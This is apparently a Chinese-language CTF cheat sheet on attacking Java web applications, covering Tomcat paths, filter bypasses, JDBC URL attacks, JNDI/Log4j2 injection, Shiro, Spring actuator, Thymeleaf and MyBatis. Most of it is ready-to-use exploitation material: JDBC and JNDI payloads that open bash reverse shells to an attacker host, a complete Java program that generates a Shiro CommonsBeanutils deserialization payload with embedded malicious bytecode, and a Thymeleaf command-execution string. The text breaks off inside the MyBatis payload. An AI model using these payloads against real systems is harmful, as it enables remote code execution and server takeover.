常用
文件结构
Tomcat
项目结构
WEB-INF
是Java的WEB应用的安全目录。如果想在页面中直接访问其中的文件,必须通过 web.xml
文件对要访问的文件进行相应映射才能访问。
/WEB-INF/web.xml
:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则
/WEB-INF/classes/
:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中,如 /WEB-INF/classes/com/wm/ctf/FlagController.class
/WEB-INF/lib/
:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件
/WEB-INF/src/
:源码目录,按照包名结构放置各个java文件
/WEB-INF/database.properties
:数据库配置文件
其他文件
[WEBROOT]/conf/tomcat-users.xml
:用户配置文件
[WEBROOT]/conf/server.xml
:服务器配置文件
JSP一句话
1 | <% |
反弹shell
1 | // 命令执行基本代码 |
绕过
filter权限
常见的实现方式,在不调用Spring Security、Shiro等权限控制组件的情况下,会使用Filter获取请求路径,进行校验。
../
:/system/login/../../login/main.do
URL截断:/login/main.do;123
多 /
://system/main.do
URL编码:/system/%55%73%65%72%49%6e%66%6f%53%65%61%72%63%68%2e%64%6f
参考:
fastjson
参考:
https://github.com/safe6Sec/Fastjson
JDBC
JDBC URL Attack
JDBC 是 Java 用于操作数据库的接口,通过一个统一规范的 JDBC 接口可以实现同一段代码兼容不同类型数据库的
访问。
JDBC URL 就是用于连接数据库的字符串, 格式为 jdbc:db-type://host:port/db-name?param=value
。
db-type 就是数据库类型, 例如 postgresql, mysql, mssql, oracle, sqlite。
db-name 是要使用的数据库名param 是要传入的参数,比如 user, password, 指定连接时使⽤的编码类型等等。
当 JDBC URL 可控时, 如果目标网站使用了旧版的数据库驱动,在特定情况下就可以实现 RCE。
mysql 驱动
结合⽹上⽂章可以构造对应的 jdbc url:
jdbc:mysql://host.docker.internal:3308/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor
mysql jdbc 利用工具:
参考payload(url部分url编码):
?driver=com.mysql.cj.jdbc.Driver&url=jdbc:mysql://host.docker.internal:3308/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&username=deser_CC31_bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9ob3N0LmRvY2tlci5pbnRlcm5hbC80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}&password=123
postgresql 驱动
起⼀个 http 服务器, 构造 xml:
1 |
|
参考payload(url部分url编码):
?driver=org.postgresql.Driver&url=jdbc:postgresql://127.0.0.1:5432/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://host.docker.internal:8000/poc.xml&username=123&password=123
参考:
PostgresQL JDBC Drive 任意代码执行漏洞(CVE-2022-21724)
PostgreSQL JDBC Driver RCE(CVE-2022-21724)与任意文件写入漏洞利用与分析
0xGame 2023 Week 4 - TestConnection
JNDI注入
在VPS上启动工具,利用时讲ip替换为实际VPS的IP地址。
${jndi:ldap://127.0.0.1:1389/basic/${java:version}}
使用
${java:version}
获取到目标服务器上的java版本(仅仅适用于Log4j2漏洞利用,fastjson等其他漏洞可以跳过此步骤)JDK版本小于11.0.1, 8u191, 7u201, 6u211版本,可以直接使用basic模块
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4
5ldap://0.0.0.0:1389/basic/cmd (无回显,需要进行url编码)
ldap://0.0.0.0:1389/basic/base64/[base64_encoded_cmd]
ldap://0.0.0.0:1389/basic/ReverseShell/[ip]/[port](反弹shell)
ldap://0.0.0.0:1389/basic/ReverseShell2/[ip]/[port]
ldap://0.0.0.0:1389/basic/memshell/[memshellType](内存马)JDK版本大于11.0.1, 8u191, 7u201, 6u211时,需要尝试使用利用链绕过,可以使用
${jndi:ldap://127.0.0.1:1389/fuzzbyDNS/[domain]}
利用dnslog去判断哪些利用链可以进行利用(只需要发送一次请求)(反序列化链存在版本区别serialVersionUID会改变,通过dns请求可知目标可以使用el、groovy、BeanShell1反序列化、CC3.2.1反序列化、CB192等等利用模块)
选择其中一个利用链进行利用。
CVE
CVE-2021-44228 (log4j2 rce)
welk1n/JNDI-Injection-Exploit
服务端:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,x}(x: 'bash -i >& /dev/tcp/ip/port 0>&1' encoded with base64)|{base64,-d}|{bash,-i}" -A <server_ip>:<listen_port>
注入 jndi,触发报错日志记录:
${jndi:rmi://<server_ip>:<rmi_port>/<ramdom_rmi_route>}
log4j2 远程加载 Class 类 反弹 Shell。
Shiro
未授权访问
<1.5.2
Shiro框架通过拦截器功能来对用户访问权限进行控制,如anon, authc等拦截器。anon为匿名拦截器,不需要登录即可访问;authc为登录拦截器,需要登录才可以访问。
/;/admin
或/xxx/...;/admin
/;/actuator/heapdump
下载dump,使用visualvm分析,得到shiro的加密密钥
反序列化
通用
打cb1
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49import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
public class CommonsBeanutilsShiro {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
// TemplatesImpl obj = new TemplatesImpl();
// setFieldValue(obj, "_bytecodes", new byte[][]{
// ClassPool.getDefault().get(evil.EvilTemplatesImpl.class.getName()).toBytecode()
// });
// setFieldValue(obj, "_name", "HelloTemplatesImpl");
// setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
byte[] evilcode = Base64.getDecoder().decode("yv66vgAAADQAuQoALwBfCgBgAGEKAGAAYggAYwoAZABlCABmBwBnCgAHAGgHAGkKAGoAawgAbAgAbQgAbggAbwgATQoABwBwCABxCABOBwByCgBqAHMIAFAIAHQKAHUAdgoAEwB3CAB4CgATAHkIAHoIAHsKABMAfAgAfQgAfggAfwgAgAoACQCBCACCBwCDCgCEAIUKAIQAhgoAhwCICgAkAIkIAIoKACQAiwoAJACMCACNCACOBwCPBwCQAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABFMcm9tZS9TcHJpbmdFdmlsOwEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwCRAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAAY8aW5pdD4BAAMoKVYBAAFjAQARTGphdmEvbGFuZy9DbGFzczsBAAFtAQAaTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAAFvAQASTGphdmEvbGFuZy9PYmplY3Q7AQACbTEBAARyZXNwAQADcmVxAQAJZ2V0V3JpdGVyAQAJZ2V0SGVhZGVyAQAGd3JpdGVyAQADY21kAQASTGphdmEvbGFuZy9TdHJpbmc7AQAIY29tbWFuZHMBABNbTGphdmEvbGFuZy9TdHJpbmc7AQALY2hhcnNldE5hbWUBAA1TdGFja01hcFRhYmxlBwCPBwBnBwCSBwBpBwByBwBTBwCTAQAKU291cmNlRmlsZQEAD1NwcmluZ0V2aWwuamF2YQwAQgBDBwCUDACVAJYMAJcAmAEAPG9yZy5zcHJpbmdmcmFtZXdvcmsud2ViLmNvbnRleHQucmVxdWVzdC5SZXF1ZXN0Q29udGV4dEhvbGRlcgcAmQwAmgCbAQAUZ2V0UmVxdWVzdEF0dHJpYnV0ZXMBAA9qYXZhL2xhbmcvQ2xhc3MMAJwAnQEAEGphdmEvbGFuZy9PYmplY3QHAJIMAJ4AnwEAQG9yZy5zcHJpbmdmcmFtZXdvcmsud2ViLmNvbnRleHQucmVxdWVzdC5TZXJ2bGV0UmVxdWVzdEF0dHJpYnV0ZXMBAAtnZXRSZXNwb25zZQEACmdldFJlcXVlc3QBAB1qYXZheC5zZXJ2bGV0LlNlcnZsZXRSZXNwb25zZQwAoACdAQAlamF2YXguc2VydmxldC5odHRwLkh0dHBTZXJ2bGV0UmVxdWVzdAEAEGphdmEvbGFuZy9TdHJpbmcMAKEAogEAB29zLm5hbWUHAKMMAKQApQwApgCnAQAGd2luZG93DACoAKkBAANHQksBAAVVVEYtOAwAqgCnAQADV0lOAQACL2MBAAcvYmluL3NoAQACLWMMAKsArAEAB3ByaW50bG4BABFqYXZhL3V0aWwvU2Nhbm5lcgcArQwArgCvDACwALEHALIMALMAtAwAQgC1AQACXEEMALYAtwwAuACnAQAFZmx1c2gBAAVjbG9zZQEAD3JvbWUvU3ByaW5nRXZpbAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAQamF2YS9sYW5nL1RocmVhZAEADWN1cnJlbnRUaHJlYWQBABQoKUxqYXZhL2xhbmcvVGhyZWFkOwEAFWdldENvbnRleHRDbGFzc0xvYWRlcgEAGSgpTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsBABVqYXZhL2xhbmcvQ2xhc3NMb2FkZXIBAAlsb2FkQ2xhc3MBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7AQAJZ2V0TWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEABmludm9rZQEAOShMamF2YS9sYW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEAEWdldERlY2xhcmVkTWV0aG9kAQANc2V0QWNjZXNzaWJsZQEABChaKVYBABBqYXZhL2xhbmcvU3lzdGVtAQALZ2V0UHJvcGVydHkBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAC3RvTG93ZXJDYXNlAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAAhjb250YWlucwEAGyhMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspWgEAC3RvVXBwZXJDYXNlAQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7AQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAKChbTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABFqYXZhL2xhbmcvUHJvY2VzcwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBACooTGphdmEvaW8vSW5wdXRTdHJlYW07TGphdmEvbGFuZy9TdHJpbmc7KVYBAAx1c2VEZWxpbWl0ZXIBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3V0aWwvU2Nhbm5lcjsBAARuZXh0ACEALgAvAAAAAAADAAEAMAAxAAIAMgAAAD8AAAADAAAAAbEAAAACADMAAAAGAAEAAAAWADQAAAAgAAMAAAABADUANgAAAAAAAQA3ADgAAQAAAAEAOQA6AAIAOwAAAAQAAQA8AAEAMAA9AAIAMgAAAEkAAAAEAAAAAbEAAAACADMAAAAGAAEAAAAbADQAAAAqAAQAAAABADUANgAAAAAAAQA3ADgAAQAAAAEAPgA/AAIAAAABAEAAQQADADsAAAAEAAEAPAABAEIAQwACADIAAALDAAkADQAAAXsqtwABuAACtgADEgS2AAVMKxIGA70AB7YACE0sAQO9AAm2AApOuAACtgADEgu2AAVMKxIMA70AB7YACE0rEg0DvQAHtgAIOgQsLQO9AAm2AAo6BRkELQO9AAm2AAo6BrgAArYAAxIOtgAFEg8DvQAHtgAQOge4AAK2AAMSEbYABRISBL0AB1kDEhNTtgAQOggZCAS2ABQZBwS2ABQZBxkFA70ACbYACjoJGQgZBgS9AAlZAxIVU7YACsAAEzoKBr0AEzoLEha4ABe2ABgSGbYAGpkACBIbpwAFEhw6DBIWuAAXtgAdEh62ABqZABIZCwMSFVMZCwQSH1OnAA8ZCwMSIFMZCwQSIVMZCwUZClMZCbYAIhIjBL0AB1kDEhNTtgAQGQkEvQAJWQO7ACRZuAAlGQu2ACa2ACcZDLcAKBIptgAqtgArU7YAClcZCbYAIhIsA70AB7YAEBkJA70ACbYAClcZCbYAIhItA70AB7YAEBkJA70ACbYAClexAAAAAwAzAAAAbgAbAAAAHAAEAB0AEAAeABsAHwAlACAAMQAhADwAIgBIACMAUwAkAF8AJQB1ACYAkAAnAJYAKACcACkAqQAqAL4AKwDEACwA3QAtAO0ALgDzAC8A/AAxAQIAMgEIADQBDgA1AUoANgFiADcBegA4ADQAAACEAA0AAAF7ADUANgAAABABawBEAEUAAQAbAWAARgBHAAIAJQFWAEgASQADAEgBMwBKAEcABABTASgASwBJAAUAXwEcAEwASQAGAHUBBgBNAEcABwCQAOsATgBHAAgAqQDSAE8ASQAJAL4AvQBQAFEACgDEALcAUgBTAAsA3QCeAFQAUQAMAFUAAAA4AAT/ANkADAcAVgcAVwcAWAcAWQcAWAcAWQcAWQcAWAcAWAcAWQcAWgcAWwAAQQcAWvwAIAcAWgsAOwAAAAQAAQBcAAEAXQAAAAIAXg==");
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{evilcode});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add("1");
queue.add("1");
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});
// ==================
// 生成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
byte[] expcode = Base64.getEncoder().encode(barr.toByteArray());
System.out.println(new String(expcode));
}
}
<=1.2.4
检测工具:
https://github.com/sv3nbeast/ShiroScan
https://github.com/feihong-cs/ShiroExploit-Deprecated/releases
Springboot actuator
Springboot actuator配置不当导致API安全问题。
API扫描工具:APIKit
1 | /actuator/autoconfig 应用的自动化配置报告 |
参考:Spring Boot Actuator 未授权的测试与利用思路
Thymeleaf
Thymeleaf模板注入
1 | __$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22id%22).getInputStream()).next()%7d__::.x |
参考:
Mybatis
mybatis 的 SQL 映射支持使用 OGNL 表达式, VoteProvider 直接使用字符串拼接来生成 SQL 语句,如果错误地把用户输入拼接进去,不仅会发生 SQL 注入,还会引发 OGNL 注入。
OGNL表达式注入RCE:
`/vote/getDetailedVoteById?vid=3) union select null,”$